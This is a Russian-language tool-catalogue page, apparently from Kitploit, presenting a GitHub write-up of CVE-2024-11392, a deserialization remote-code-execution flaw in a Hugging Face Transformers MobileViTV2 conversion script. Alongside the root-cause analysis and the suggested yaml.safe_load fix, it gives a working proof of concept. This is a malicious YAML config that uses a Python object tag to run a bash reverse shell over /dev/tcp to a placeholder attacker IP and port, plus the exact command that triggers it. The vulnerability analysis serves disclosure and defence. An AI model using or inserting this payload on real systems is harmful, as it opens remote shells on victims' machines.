Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-11392 — Технические детали и эксплойт для CVE-2024-11392 | Kitploit
Инструменты/GitHubGitHub/piyush-bhor/cve-2024-11392
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubpiyush-bhor/cve-2024-11392

CVE-2024-11392

Технические детали и эксплойт для CVE-2024-11392

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-11392

Уязвимость удаленного выполнения кода в Hugging Face Transformers MobileViTV2 из-за десериализации недоверенных данных (Deserialization of Untrusted Data Remote Code Execution Vulnerability)

Обзор высокого уровня и последствия уязвимости: Уязвимость позволяет злоумышленнику выполнить произвольный код на хост-машине, предоставив вредоносный файл конфигурации скрипту convert_mlcvnets_to_pytorch.py в репозитории Hugging Face Transformers. Если ничего не подозревающий пользователь использует стороннюю модель вместе с вредоносным файлом конфигурации, выполнение скрипта convert_mlcvnets_to_pytorch.py приведет к удаленному выполнению кода (RCE) на системе жертвы.

Уязвимый продукт

  • Продукт: Hugging Face Transformers
  • Модуль: MobileViTV2
  • Файл: transformers/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py
  • Версия: Последняя
  • Постоянная ссылка GitHub: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py

Анализ первопричины

  • Подробное описание уязвимости: Уязвимость возникает в результате небезопасной десериализации недоверенных данных. Скрипт использует функцию yaml.load с загрузчиком FullLoader, который загружает полный язык YAML и уязвим для выполнения кода.

  • Поток кода от ввода до уязвимого состояния:

    1. Пользователь загружает стороннюю модель ml-cvnet вместе с файлом конфигурации.
    2. Пользователь запускает скрипт convert_mlcvnets_to_pytorch.py и передает ему файл конфигурации.
    3. Скрипт convert_mlcvnets_to_pytorch.py десериализует файл конфигурации и выполняет вредоносный код.
  • Точка внедрения: Уязвимость возникает в точке, где вызывается yaml.load(yaml_file, Loader=yaml.FullLoader). Постоянная ссылка GitHub: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57

  • Предлагаемые исправления: Замените yaml.load(yaml_file, Loader=yaml.FullLoader) на yaml.safe_load(yaml_file), чтобы предотвратить выполнение произвольного кода.

  1. Создайте вредоносный YAML-файл конфигурации transformers_exploit.yaml, который откроет обратную оболочку на системе жертвы:
root@kitploit:~
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
  1. Запустите скрипт convert_mlcvnets_to_pytorch.py и передайте файл transformers_exploit.yaml параметру --orig_config_path:
root@kitploit:~
> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256

Примечание: dummy_checkpoint.pt можно оставить как пустой файл, dummy_output как пустую директорию, а task как любой из вариантов, упомянутых в скрипте.

Ссылка для загрузки ПО: https://github.com/huggingface/transformers/tree/main

Скачать инструмент
  • Инструкции по выполнению доказательства концепции: